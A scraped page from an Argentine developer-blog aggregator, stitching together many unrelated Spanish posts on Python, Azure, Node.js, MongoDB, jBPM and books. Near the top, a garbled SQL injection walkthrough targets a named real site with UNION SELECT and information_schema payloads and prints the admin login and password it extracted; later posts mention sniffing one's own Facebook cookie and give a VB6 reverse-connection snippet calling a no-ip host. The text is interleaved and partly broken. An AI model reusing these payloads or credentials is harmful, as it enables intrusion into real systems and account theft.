codeAR es un Agregador de Noticias
que intenta capturar los blogs de los desarrolladores Argentinos. Para saber que piensan, que están desarrollando,
que están leyendo, que están imaginando.
Si tenes un blog sobre desarrollo de sistemas o
relacionado al tema, te invitamos a participar de este Planeta,
envianos un mail con la dirección de tu blog.
Fatal error: Call to a member function RecordCount()Con esto podemos ver que pudimos generar un error en la consulta a la base de datos.
on a non-object in /home/samg/public_html/include/objetos/Noticia.class.php
on line 333
-1+UNION+SELECT+1,2--Y en mi caso, en el cuerpo de la página, me sale el mismo Fatal error que cuando ingrese la comilla simple.
-1+UNION+SELECT+1,2,3--Y asi sucesivamente hasta que el error desaparezca. En mi caso quedo hasta el numero 12, pero hay ocasiones en las que puede superar los 60!
-1+UNION+SELECT+1,2,3,4--
-1+UNION+SELECT+1,2,3,4,5--
+from+information_schema.tables--Quedaría en mi caso, así:
+limit+2,1--
+limit+2,1--Y así sucesivamente hasta hallar una tabla importante. En mi caso llegue hasta la 38 y encontré la de administradores.
+limit+3,1--
+limit+4,1--
+limit+5,1--
115 97 109 103 95 97 100 109 105 110 105 115 116 114 97 100 111 114 101 115Ahora sacaremos los espacios que hay entre los números y colocaremos comas entre los valores:
115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115Guardaremos esa cadena de números para usarla luego en nuestra inyección.
information_schema.columns+where+table_name=char(115,97,109,103,95,97,100,109,105,11y quitamos el +limit+ con sus valores numéricos.
0,105,115,116,114,97,100,111,114,101,115)--
http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name)Si observamos, el cuerpo de la página, veremos la composición de las columnas de la tabla
,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(115,97,109,
103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--
group_concat(column_name) por concat(Login,0x3a,Password)Concat significa concatenar, algo similar que unir. Y el 0x3a, son dos puntos. Esto es para que el usuario y la contraseña no aparezcan juntas, sino que los separe los dos puntos. Teniendo un resultado algo así:
Usuario: samgEn caso de querer hackear la web, solo resta encontrar el panel de admin con algún admin finder. Pero como dije al principio del tutorial, este paper es con fines educativos.
Contraseña: samg06
f= open(“test.txt”)Si no añadimos ningún parámetro, por defecto le añadirá ‘r’. Este parámetro sirve para leer datos que hay en ese archivo.
f=open(“test.txt”, ‘w’)Si queremos añadir contenido al final del archivo, se coloca ‘a’
f=open(“test.txt”, ‘a’)Para utilizar el contenido de un binario se coloca ‘b’
f=open(“test.txt”, ‘b’)Para cerrarlo, solo basta con llamar a
f.close()Escribiendo en el archivo:
f.write(“texto”)Creamos el fichero, colocamos un hola mundo y escribimos un número
Veremos un ejemplo:
f = open("test.txt",'w')
f.write('hola mundo\n')
a=raw_input("Ingrese numero: ")
f.write("El numero ingresado es: ")
f.write(a)
f.close()
f.read()Y si queremos que nos imprima el contenido del txt. Solo debemos añadirle un print:
f = open("test.txt")
print f.read()
f.close()
Si quisiéramos leer una sola línea, reemplazamos el read por readline. Y de esta forma solo nos leerá una línea.f= open(“test.py”, ‘w’)El resto ya sería el script. Y acá les dejo un ejemplo con una suma de dos números
f = open("test.py",'w')
f.write('a=raw_input("Ingrese un numero: ")\n')
f.write('print "Valor de a:", a\n')
f.write('b=raw_input("Ingrese otro numero: ")\n')
f.write('print "Valor de b:", b\n')
f.write('c=a+b\n')
f.write('print "Resultado de la suma:", c')
f.close()
Resultado:a=raw_input("Ingrese un numero: ")
print "Valor de a:", a
b=raw_input("Ingrese otro numero: ")
print "Valor de b:", b
c=a+b
print "Resultado de la suma:", c
Vínculos interesantes que voy coleccionando en Delicious
Ifttt, If this then that, es un sitio web que permite utilizar está clásica sentencia de control de programación en la web.
Uno tiene a su disposición una serie de canales. Estos disparan eventos y realizan acciones. La combinación de un evento y una acción es una tarea. Y cuando uno publica una tarea, se la llama receta. Existe un repositorio de recetas publicadas por los usuarios en donde se pueden encontrar algunas muy útiles. La mejor que estoy usando es:
Otras recetas que estoy usando son:
Algunos vínculos interesantes que voy coleccionando en Delicious
Rescato un post que estuvo en borrador por 3 años!! Justo ahora que estoy con ganas de comprar la tercer novela de Zafón, El prisionero del cielo.
Hace menos de un mes terminé de leer El Juego del Ángel, la segunda novela para adultos de Carlos Ruiz Zafón
. Visitando su sitio web encontré una sección con relatos inéditos.
A los que quieran empezar a leer a este autor les recomiendo el cuento La Mujer de Vapor.
Carlos Ruiz Zafón (Barcelona, 25 de septiembre de 1964) es un escritor español que vive en Los Ángeles (Estados Unidos) desde 1993, donde se dedicó unos años a escribir guiones de cine al tiempo que desarrollaba su carrera como novelista.
Su primera novela para adultos, La sombra del viento, fue un gran éxito de ventas, pese a la desatención de la crítica literaria española, aunque no la internacional (que la aclamó como una de las grandes revelaciones literarias de los últimos tiempos). Esta novela se ha traducido a 45 idiomas, ha vendido más de 10 millones de ejemplares en todo el mundo y ha obtenido numerosos premios internacionales. En el año 2007 se ha publicado una recopilación titulada “La Trilogía de la Niebla” que comprende sus primeras obras “El príncipe de la niebla”, “Las luces de septiembre” y “El palacio de la medianoche”.
Carlos Ruiz Zafón lanzó el pasado 17 de abril de 2008 su nueva obra con una tirada de un millón de ejemplares, en la Editorial Planeta. La propia Editorial Planeta ha considerado que este lanzamiento supone un hito histórico en España.
Fuente: Wikipedia
Algunos vínculos interesantes que voy coleccionando en Delicious
Algunas películas suelen venir con bonus track, escenas inéditas, comentarios del director u otros adicionales que por lo general terminan en la versión DVD del producto y que son consumidas vorazmente por los fans.
Por estos días está en cartelera la película The girl with the dragon tattoo, del director David Fincher (Fight club, Benjamin Button, Social Network). Basada en un libro que ya comenté aca, tiene un problema fundamental: llegó tarde. La película no es mala y a gente que no conoce la historia le gustó mucho, pero ya hay una adaptación al cine del libro, y encima es Sueca. Así que si quieren un bonus track de esta película, tienen toda una película exra, la original. Y si realmente quieren conocer la historia completa, con todos los detalles, pueden alocarse y hasta leer el libro. Si, los de papel.
PS: llegó a la Argentina con el nombre de la edición estadounidense del primer libro de la trilogía Millenium de Larsson (no me gusta esa manía de las editoriales norteamericanas de cambiar siempre los títulos de las obras).
Una reunión en San Francisco fue la inauguración de la comunidad de NoSQL, un grupo de personas que comparten la idea de destronar la tiranía de las bases de datos relaciones, costosas y lentas, en favor de una alternativa mucho más eficiente y barata para manipular datos. Las bases de datos relacionales nos ofrecen demasiado. Nos fuerzan a adaptar nuestros objetos para adaptarlos a una RDBMS (sistema de gestión de bases de datos relacional), dice Jon Travis, uno de los principales ingenieros en SpringSource, y uno de los 10 presentadores en la reunión de NoSQL. Las alternativas basadas en NoSQL te ofrecen sólo lo que necesitás, dice Travis. [Referencias: dosideas.com]
Mi amigo Joel Lorenzatti está de visita en la ciudad por motivos non-satos que no van a publicarse por el momento. Luego de una tarde tirados en el pasto escuchando cuentos y entrevistas de Borges y Cortázar y comparándolos, el azar nos llevó a un bar en la peatonal San Martín. En este bar, se tomó la foto cínica del día, titulada como este post.
En nuestro pueblo, Carlos Pellegrini, se está llevando a cabo la Fiesta Nacional de Reinas Nacionales, la meta-fiesta que comenté hace unos días. En frente a mi departamento se está llevando a cabo el Festival Folclórico de Guadalupe. Pero nosotros tenemos menos festival que el Vaticano, así que comemos y nos vamos al cine.
Estos días estoy mirando en Youtube un reportaje que le hicieron a Julio Cortazar en la televisión española. Muy interesante, son 14 fragmentos de unos 10 minutos promedio. Muy recomendable.
Algunos vínculos interesantes que voy coleccionando en Delicious
Hoy me entero, en la lista rubysur, gracias a un mensaje del bueno de @etagwerker, de la próxima reunión de Ruby en Buenos Aires. Este es el mensaje:
Quería anunciar el meetup de Febrero:
Jueves 9/2 @ Vurbia - Guatemala 5000 (y Uriarte)
Si van a ir, por favor anotense acá:
https://docs.google.com/spreadsheet/viewform?formkey=dDNjZzhfV2RZQnN0WDJRNllaWFV5Nnc6MA#gid=0
Acá van a poder ver las charlas propuestas:
https://docs.google.com/spreadsheet/ccc?key=0AiLxWdzFG7oWdDNjZzhfV2RZQnN0WDJRNllaWFV5Nnc
Si quieren sponsorear o hostear el próximo meetup, escriban a meetup@ruby.com.ar
La anterior reunión había sido en diciembre. A pesar de haberme comprometido a concurrir en mi semana sabática, no fui: estuve bastante concentrado programando y estudiando. Haber ido hubiera sido tener como casi 3 horas de ida y vuelta más 2 horas de actividad, seguramente interesante. Esta vez, para no faltar, me comprometo a dar una charla de AjLisp en Ruby: no sé si a alguien le va a interesar, pero por lo menos me pone en compromiso público para ir :-)
[Incidentalmente, un intercambio de mensajes en esa lista (sobre activity feeds y redis) fue el disparador de dos proyectos de los que tengo que escriibir posts: AjActivity (implementando activity feeds) y AjKeyvs (simple key value store). Ambos implementados en C#]
En otro email, @etagwerker informó en la lista sobre la actividad de la reunión del 15 de diciembre pasado:
Tuvimos 2 charlas:
1. Yo hablé de la gema de templates Liquid y cómo lo estamos usando en mi emprendimiento para que diseñadores web puedan customizar sus tiendas online.
Un par de enlaces:
- https://github.com/Shopify/liquid/wiki/ES-Home
- http://www.ombushop.com/liquid-api/index.html
2. @lucasefe habló de Grape y cómo le sirvió para construir una API REST JSON para su plataforma de donaciones de marca blanca (https://mycharitybox.com/)
- https://github.com/intridea/grape
- http://rubygems.org/gems/rack-jsonp
- https://github.com/apotonick/roar
Al final, no recuerdo quién trajo regalitos de @schacon de Github, calcomanías y una remera, para regalar.
Quedan calcomanías para los que vayan al próximo meetup y además vamos a sortear la remera entre los participantes.
Hmm… alguien se había propuesto hablar sobre Amazon Web Services, creo, con Ruby. Pero parece que no se hizo esa charla.
Vean en https://docs.google.com/spreadsheet/ccc?key=0AiLxWdzFG7oWdDNjZzhfV2RZQnN0WDJRNllaWFV5Nnc las charlas propuestas.
Mis posts sobre Ruby.
Nos leemos!
Angel "Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez
Vínculos interesantes que voy coleccionando en Delicious
== (Igual que)Basándome en el paper de Datasecurity, les dejo a continuación los parámetros más usados en este sniffer
> (Mayor que)
< (Menor que)
!= (Distinto que)
>= (Mayor o igual que)
<= (Menor o igual que)
ip.addr = = 0.0.0.0Para filtrar paquetes de la fuente en direcciones IPv4 especificas:
ip.addr = = 0.0.0.0 && ip.addr = = 0.0.0.0 (Para filtrar más de una IP )
ip.addr = = 0.0.0.0 || ip.addr = = 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
ip.src == 0.0.0.0Para filtrar paquetes del destino en direcciones IPv4 especificas:
ip.src == 0.0.0.0 && ip.src == 0.0.0.0 (Para filtrar más de una IP )
ip.src == 0.0.0.0 || ip.src == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
ip.dst == 0.0.0.0Nota: Para direcciones IP v6 utilice: ipv6.addr, ipv6.src, ipv6.dst, etc.
ip.dst == 0.0.0.0 && ip.dst == 0.0.0.0 (Para filtrar más de una IP )
ip.dst == 0.0.0.0 || ip.dst == 0.0.0.0 (Para filtrar una IP de cualquiera de las dos)
arp.src.proto (dirección del protocolo de la fuente)Para filtrar paquetes del protocolo Ethernet:
arp.src.hw (dirección hardware de la fuente)
arp.dst.hw (dirección hardware del destino)
arp.src.hw_mac (dirección MAC de la fuente)
arp.dst.hw_mac (dirección MAC del destino)
arp.src.proto_ipv4 (dirección IPv4 de la fuente )
arp.dst.proto_ipv4 (dirección IPv4 del destino)
eth.dst == ff:ff:ff:ff:ff:ff (dirección MAC)Veremos un ejemplo con uno de los filtros: ip.addr == 192.168.1.37
eth.src == ff:ff:ff:ff:ff:ff (dirección MAC)
eth.addr == ff:ff:ff:ff:ff:ff (dirección MAC)
http.host == “DOMINIO”Acá lo que hice fue poner la url de facebook y robo mi cookie. Veremos ahora un ejemplo con otra web, pero filtrando nada más que el protocolo TCP:
En el anterior post, mostré el procesamiento del juego en el Windows Azure Toolkit for Social Gaming (versión 1.1.1, hay una nueva 1.2.0 pero aún en beta). Ahora, es tiempo de ver cómo agregar Node.js como servidor de juego a nuestro simple juego de Ta Te Ti.
Vean que todo el código client de Game Service es agnóstico del juego, es decir, no depende del juego que se está implementando. Y vean también que ese Game Service en javascript puede ser cambiado para usar otros servicios. En este post, veremos cómo cambiar el procesamiento de las jugadas para usar una instancia del servidor Node.js.
Primero, bajarse el código a agregar de mi GitHub:
https://github.com/ajlopez/SocialGamingExtensions
Entonces:
1 – Bajar e instalar el Windows Azure Toolkit for Social Gaming versión 1.1.1, desde:
http://watgames.codeplex.com/releases/view/77091
1 – Instalar Node.js para Windows, desde http://nodejs.org/#download
2 – Cambiar al subdirectorio server de mi código, y ejecutar el comando:
npm install socket.io
La librería socket.io se bajará e instalará en el subdirectorio node_modules:
Vean que baja bastante:
3 – Iniciar el servidor de node:
node gameex.js
El servidor comienza a escuchar:
4 – Copiar el directorio client de mi código al directorio del proyecto SocialGaming.Web. Los archivos Web.config, BaseController.cs, TicTacToeController.cs serán reemplazadas. Hay nuevos archivos: Scripts\game\GameServiceNodeJs.js, Areas\Samples\Views\TicTacToe\NodeJs.cshtml.
5 – Abrir la solución de Microsoft en el Visual Studio 2010 (run as administrator) y agregar esos nuevos archivos al proyecto SocialGaming.Web. El nuevo GameService a usar para Node.js:
La nueva vista TicTacToe que usa al Node.js:
La nueva acción en el controlador TicTacToe:
Y la nueva entrada en el web.config:
El reemplazado BaseController lee esa nueva configuración, que queda disponible para ser usada por la vista:
6 – Iniciar la aplicación, debería ejecurtarse como http://127.0.0.1:81 (en puerta 81) para ser aceptada por la seguridad federada configurada en el portal de Access Control Service.
7 – Navegar a /Samples/TicTacToe/NodeJs. Ver la URL de invitación:
8 – El cliente se conecta con el servidor de Node.js. Dependiendo de las capacidades del cliente, socket.io usará WebSockets o XHR long polling:
9 – Abrir un nuevo explorador, en una sesión privada, y navegar a la URL provista en el paso 7
10 – Hay dos jugadores. El de la derecha (el invitado) jugó en la celda del top izquierdo. El primer jugador (el de la izquierda) recibe la nueva movida y actualiza su tablero.
11 – Ver la consola del servidor Node.js: la movida fue recibida y enviada a todos los participantes de esta instacia de juego:
Bien! Trabajo para el hogar: agreguen el Node.js para publicarse en un worker role. Vean el post de @ntotten NodeJS on Windows Azure).
Próximos temas: explicar en detalle el código del servidor que ejecuta Node.js (por ejemplo, soporta sockets TCP además de socket.io; de esta manera podemos programar un cliente en otras plataformas, desde Silverlight a IPhone a Android, sin depender de tener que usar una librería Socket.io en esos clientes).
Nos leemos!
Angel “Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez
Quiero en este post presentar el procesamiento de las jugadas del ejemplo simple de Ta Te Ti. Involucra varias partes, desde la vista Razor que usa Javascript, hasta el Web Role, hasta el Azure Blob Storage.
Estos son los archivos javascript referenciados en la vista TicTacToe (en el archivo SocialGame.Web/Areas/Samples/Views/TicTacToe/Index.cshtml):
<script src="@Url.AreaContent("Scripts/jQuery.tmpl.js")" type="text/javascript"></script> <script src="@Url.AreaContent("Scripts/knockout-1.2.1.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/game/ServerInterface.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/game/GameService.js")" type="text/javascript"></script> <script src="@Url.Content("~/Scripts/game/UserService.js")" type="text/javascript"></script> <script src="@Url.AreaContent("Scripts/game/TicTacToeBoard.js")" type="text/javascript"></script> <script src="@Url.AreaContent("Scripts/game/TicTacToeGame.js")" type="text/javascript"></script> <script src="@Url.AreaContent("Scripts/game/TicTacToeViewModel.js")" type="text/javascript"></script> <script src="@Url.AreaContent("Scripts/game/TicTacToeController.js")" type="text/javascript"></script>
Como escribí en el aterior post, tanto ServerInterface, GameService como UserService son agnósticos del juego, pueden reusarse para cualquier juego. Para cada nuevo tipo de juego X, lo que tenemos que programar son los XBoard, XGame con la lógica del juego, el XViewModel y el apropiado XController.
Al final de esa vista, se encuentra la creación de los servicios agnósticos del juego a usar desde el cliente:
var apiURL = "@this.ViewBag.ApiUrl"; var blobURL = "@this.ViewBag.BlobUrl"; var si = new ServerInterface(); var gs = new GameService(apiURL, blobURL, si); var user = new UserService(apiURL, blobURL, si);
Las propiedades @this.ViewBag son llenadas en el servidor, en el controlodor de ASP.NET MVC (ver BaseController.cs)
La creación del controlador del juego:
// check for canvas, show an "Upgrade your browser" screen if they don't have it. var canvas = document.getElementById('board'); if (canvas.getContext == null || canvas.getContext('2d') == null) { $("#game").toggle(); $("#notSupported").toggle(); return; } var board = new TicTacToeBoard(canvas); var game = new TicTacToeGame(); var controller = new TicTacToeController(viewModel, gs, board, game); controller.setGameQueueId(gameQueueId); controller.start();
Pero la parte interesante está en el constructor del controlador:
function TicTacToeController(viewModel, gameService, board, game) { this.viewModel = viewModel; this.gameService = gameService; this.board = board; this.game = game; this.started = false; var controller = this; this.board.onMove = function (x, y) { controller.onMove(x, y); }; };
Notemos el this.board.onMove: el controlador se registra a sí mismo para procesar las nuevas movidas detectadas por el componente que maneja el tablero. En su método start(), el controlador se registra a sí mismo para procesar las actualizaciones detectas por el servicio de gameService:
controller.gameService.process(
gameQueueId,
function (queue) { controller.processGameQueue(queue); },
function (action) { controller.processAction(action); }
);
Examinemos el procesamiento de las jugadas.

1 – El componente del tablero detecta un click, determina la casilla, y envía una nueva movida al controlador, usando el callback onMove
2 – El controlador envía la nueva movida para la lógica del juego, para actualizar el estado (he omitido el view model en este gráfico)
3 – El controlador envía la nueva movida al game service.
4 – El game service envía un nuevo comando al web role, usando el server interface
5 – La API del web role recibe el nuevo comando
6 – La información del comando es agregada al blob que refleja el estado del juego, almacenado en el Azure Storage
Ahora, veamos el procesamiento en el otro cliente:

1 – El game service, usando un timer, va leyendo reiteradamente el stado del juego, usando la service interface
2 – La service interface, usando JSONP, recupera el estado actual del juego, desde un blob de Azure Storage
3 – Si una nueva movida es detectada en ese estado, el game service llama a una función callback provista por el controlador (el game service no tiene referencia al controlador).
4 – El controlador envía la nueva movida a la lógical de juego, que actualiza su estado (omití el view model en este gráfico)
5 – El controlador envía la nueva movida al componente de tablero, para actualizar el canvas
Un punto clave: el controllador no conoce NADA acerca de la service inteface, la API de WCF Web, el blob storage. Entonces, podemos cambiar el game service para que procese las movidas de otras maneras. Próximo post: modificar el game service para usar a Node.js como servidor de las movidas del juego.
Nos leemos!
Angel “Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez
Cuando un servidor tiene un apagado forzoso (se apaga por un corte de energia) o por alguna otra razón, es probable al querer iniciar nuevamente la base de datos /etc/init.d/mongodb start obtengamos el error: “exception in initAndListen std::exception: old lock file, terminating” en el el log de mongodb.
Para resolverlo simplemente eliminamos el archivo /var/lib/mongodb/mongod.lock.
__________________
Nicolas tech-nico.com
Private Sub Form_Load()Recuerden cambiar IP, IPFTP por su no-ip y el Puerto por el que tengan abierto en su router.
'Conexion Inversa
Dim ip As String
Dim ipftp As String
Dim port As Integer
ip = "antrax-labs.no-ip.org"
ipftp = "antrax-labs.no-ip.org"
port = 81
WS.RemoteHost = ip
WS.RemotePort = port
tmr_inversa.in terval = "3000"
End Sub

El martes 6 de Diciembre de 2011 asistí al:
Introducción a jBPM5 (Drools Platform)
organizado por el JBoss User Group Argentina. Me enteré de estas reuniones gracias al Java User Group de Argentina (y a gracias a @HernanHHT):
Esta fue la primera reunión, y se realizó en las oficinas de Red Hat en Puerto Madero, Buenos Aires. Pueden seguir a @JBUGArgentina en Twitter. Los “slides” de la presentación pueden verlos en:
jBPM5 Introduction – Spanish – Extended Version
Fue una muy buena presentación (duró una hora y media) dada por Mauricio Salatino (http://salaboy.com/ @salaboy) y Marianao De Maio (@marianbuenosayr). Fueron tal vez muchos temas, en el tiempo disponible, pero fue muy interesante. El principal tema fue jBPM5, ver:
jBPM – JBoss Community (solución de process/workflow)
Que es parte de la plataforma abarcativa:
Drools – JBoss Community (que incluye un Business Rules Manager, un procesador de eventos complejos, un rule engine, y más)
Puntos a destacar, en este primer post:
- Se expuso la Community Edition, que está escrita en Java, y es de código abierto. Pueden ejecutarla en varias plataformas (incluso Windows)
- La gente de Red Hat tiene una versión con soporte (pago). Pero comentaron, que al contrario de otras iniciativas que liberan como código abierto versiones que ya quedan en el tiempo, RedHat basa su estrategia de innovación en el soporte de la comunidad: la versión Community ES LA VERSION avanzada, con más “features” experimentales, etc. La de soporte es una versión algo anterior, con el valor agregado de RedHat, vigilando su estabilidad.
- Como caso de éxito de esta estrategia, apareció en esta charla el caso de la evolución de jBPM, para llegar a la versión presentada, la 5. La gente de RedHat había avanzado con jBPM hasta la versión 3. Mientras, el grupo Drools, que trabajaba produciendo código abierto, empezó Drools Flow, un sistema de manejo de procesos y flujo de trabajo. Ya jBPM (el producto comercial original) tenía sus clientes en todo el mundo, cuando se preparó la versión 4. Pero no prendió en el mercado. El grupo de desarrollo original de jBPM abandonó RedHat, y formó otra empresa, basada en lo que habían hecho en jBPM. Mientras tanto, el producto comunitario Drools Flow venía creciendo con buena aceptación y con una nueva forma de encarar el tema de workflow. RedHat vió la potencialidad de ese producto, y por razones de marketing, lo rebautizaron jBPM5. Pero no tiene nada que ver con los jBPM anteriores: las ideas y el código base es totalmente distinto. De todo Drools, es lo único que fue rebautizado.
Luego de la presentación, nos agasajaron con comida (excelente las medialunas rellenas (sólo superadas por las idem de la RubyConf de Argentina, que venían con queso recién derretido ;-), los sandwiches de miga de varios gustos, y algo que llamaría canapé, un delicatessen.. varias heladeras con distintas bebidas… a ver si aprende Microsoft ;-) mensaje para @masaez ;-). Ahí (cerca de las 20:30hs) me tuve que ir. Iban a comenzar un taller, con práctica en Notebook, usando JDK 1.6, Eclipse (y creo que Maven… ooopss .. me dió cosita ;-) tanto en Linux como en Windows y hasta creo Mac. Me pareció que se extendió mucho entonces, porque la gente se fue tarde. Pero fue una impresión, no me quedé, tenía que volver a mi cubil principal.
Tomé varias notas de la charla, ya las presentaré en próximos posts (este es el primero de una serie). Una idea rondando (que comenté en mis resoluciones del nuevo mes; hubiera querido comenzarla en mi semana sabática, pero no la incluí en mis “commitments” porque veía que necesitaba más tiempo): comenzar un rule engine basado en algo parecido al algoritmo Rete, supongo que en C#, practicando TDD.
Nos leemos!
Angel “Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez
Cuando quiero buscar algún ejemplo de código para resolver cualquier duda de programación, muchas veces resulta que el código de ejemplo está en CSharp (esta fue una de mis motivaciones al crear este sitio) y depende de los conocimientos de quien busque, muchas veces resulta difícil tener que entender un ejemplo en un lenguaje diferente del que estoy usando para programar.
Muchas veces he recurrido a servicios de conversión de código entre diferentes lenguajes y esto en muchos casos resulta muy útil. Hoy quiero compartir con ustedes dos servicios que realizan esta tarea y lo hacen muy bien: http://www.developerfusion.com/tools/convert/csharp-to-vb/ y http://converter.telerik.com/.
Espero que estos recursos les sean de mucha utilidad.
Cuando quiero buscar algún ejemplo de código para resolver cualquier duda de programación, muchas veces resulta que el código de ejemplo está en CSharp (esta fue una de mis motivaciones al crear este sitio) y depende de los conocimientos de quien busque, muchas veces resulta difícil tener que entender un ejemplo en un lenguaje diferente del que estoy usando para programar.
Muchas veces he recurrido a servicios de conversión de código entre diferentes lenguajes y esto en muchos casos resulta muy útil. Hoy quiero compartir con ustedes dos servicios que realizan esta tarea y lo hacen muy bien: http://www.developerfusion.com/tools/convert/csharp-to-vb/ y http://converter.telerik.com/.
Espero que estos recursos les sean de mucha utilidad.
En mi opinión, usar un año para planear objetivos es demasiado tiempo. Prefiero tener periodos más cortos para iteraciones de vida. Un año da demasiado tiempo para la pereza, pérdida de foco y “procratination”. Mi propuesta: tener objetivos mensuales. Ayer domingo, escribí sobre mis resoluciones públicas del nuevo mes. Ahora, es tiempo de escribir una lista corta de resoluciones del nuevo mes, casi todas con entregables públicos:
- Implementar Id en los nodos de AjCoRe (simple Content Repository)
- Implementar Server/Client en AjKeyvs (Key Value Store)
- Comenzar una nueva versión de mi framework simple PHP, rejuveneciendo uno viejo de principios de siglo, a publicar en mi cuenta de GitHub
- Publicar un ejemplo de servidor web simple en mis ejemplos Node.js
- Publicar un juego simple en HTML5/Canvas game usando Node.js como servidor del juego (en Node.js samples)
- Continuar trabajando en AjLang, intérprete con sintaxis tipo Ruby, que maneja tipos y objetos .NET
- Continuar trabajando en AjLisp en Java
- Jugar con Clojure REPL
- Comenzar a escribir AjRools.Expert, un “rule engine” en C#, a la JBoss Drools Expert, pero con el algoritmo desarrollado desde cero, usando TDD, a publicar en mi GitHub)
Podría agregar publicar posts de algunos de estos items, pero casi todos tienen repositorios públicos, así que los “commits” que haga en ellos serviran como prueba del avance.
Después de este primer mes de resoluciones (Enero de 2012), escribiré otra nueva lista, posiblemente mejor, con mejores definicies de trabajos y salidas esperadas. Muchas de estas resoluciones están motivadas por estudiar cosas nuevas, y practicar, practicar, practicar, practicar.
Nos leemos!
Angel “Java” Lopez
http://www.ajlopez.com
http://twitter.com/ajlopez
Hoy decidí modificar mi equipo de FTA (Free to Air).
Al parecer en lugares donde corre poco aire los equipos levantan temperatura y terminan apagándose o destellando la pantalla.
Lo que hice fue comprar un Cooler de PC marca NogaNet ($ 15 pesos). Mientras sean de 12v. Cualquier marca sirve.
Aqui va el resultado en imagenes:
Feliz Navidad!!!!! ![]()
______________________
Nicolas Tech-nico.com
Desde hace un tiempo que estoy intentando instalar ThunderCache en Ubuntu Server 11.04 64bits. La cuestión es que siempre que finalizaba la instalación se rompía algo, y perdía el el acceso por web al ThunderCenter. A muchos les ha pasado luego de instalar las actualizaciones o bien hacer upgrade a las versiones mas nuevas.
Mas en detalle
Luego de terminar con la instalación de ThunderCache (bin 846) con ThunderCenter 3.4.4 hay que ingresar a http://ipthunder:82 usuario: admin password:admin
La primer pantalla es la de configuración, algo como:
Al presionar en <Confirm> nos obliga a reiniciar el servidor. La gran sorpresa es que luego del reinicio, no podemos ingresar mas por web. Si bien la IP responde, el apache no!!.
Mirando en el log del apache nos vamos a encontrar con este error:
# tail /var/log/apache2/error.log
Uncaught exception ‘MongoCursorException’ with message ‘getFile(): bad file number value (corrupt db?): run repair’ in /usr/local/tcenter/www/index.php:15\nStack trace:\n#0 /usr/local/tcenter/www/index.php(15): MongoCollection->findOne(Array)\n#1 {main}\n thrown in /usr/local/tcenter/www/index.php on line 15
Para resolverlo seguimos estos pasos:
1 # /etc/init.d/thunder restart 2 # apache2ctl stop 3 # /etc/init.d/mongo stop 4 # /etc/init.d/mongodb stop 5 # mongod --dbpath /var/lib/mongodb --config /etc/mongodb.conf --repair 6 # chown mongodb /var/lib/mongodb -R 7 # /etc/init.d/mongodb start 8 # apache2ctl start
El funcionamiento es impresionante, realmente vale la pena instalarlo en redes grandes.

Las Barras de progreso en verde son descargas de objetos cacheados. Y las azulcitas son objetos que esta almacenando en el cache.
Que tengan unas muy felices fiestas!
______________________
Nicolas tech-nico.com/blog
Esto va para todos aquellos que sufren problemas con la placa Audio 8 y Traktor.
El problema esta en los drivers que son bastante inestables, probé:
1. Ir a Inicio -> Ejecutar -> Escribir "Regedit" (sin comillas) -> Press Enter Esto abrirá el registro 2. Ahora en la izquierda del Regedit muévase hasta: HKEY_LOCAL_MACHINE\SYSTEM\Curr entControlSet\Control\Priority Control Aquí debería ver 2 filas: "Predeterminado" y "Win32PrioritySeparation" 3. Click derecho en el area blanca de la derecha y click en Nuevo -> Valor de DWORD (32-bit) | (como podrás ver) Ahora veras una nueva fila! 4. Click derecho en esta nueva fila y elegir renombrar. Renombrar como "IRQ10Priority" sin comillas (escribir Exactamente como esta!) Presionar <Enter>. 5. Ahora que lo has renombrado, hacer doble click en este y veras una área de texto con el valor 0 en su interior. Cambiar el 0 por 1, <dejar el resto igual, y click en ACEPTAR> 6. Cierre el registro y reinicie la computadora!
|
RT @FreshBrewedCode: Posted: BackboneJS modular app using RequireJS http://t.co/ZiVfFPiw
|
Since we are in Christmas times, I appealed to my inner child and I wrote a wish list for Java.
It’s mainly inspired on my knowledge of other languages like Python, Scala or Ruby and on the things I know will be useful for a lot of people.
The Initial list just includes things that won’t affect too much back compatibility.
int total = listOfIntsAsString.map({String s => Integer.parseInt(s)}).reduce({ int x, int y => x + y })
Things like that will be only possible with closures. And the power of it is enormous, not to mention the amount of boilerplate saved.
final StringBuilder builder = new StringBuilder(); to val builder = new StringBuilder()
Basically avoid to repeat the information that is already present.
Ultima Actualización:
January 28, 2012
Botón para Enlazarnos:
Sitio mantenido por
netFlux

Este trabajo es distribuido bajo una Licencia Creative Commons Atribución-NoComercial 2.5 Argentina.
Construido con Eco v0.1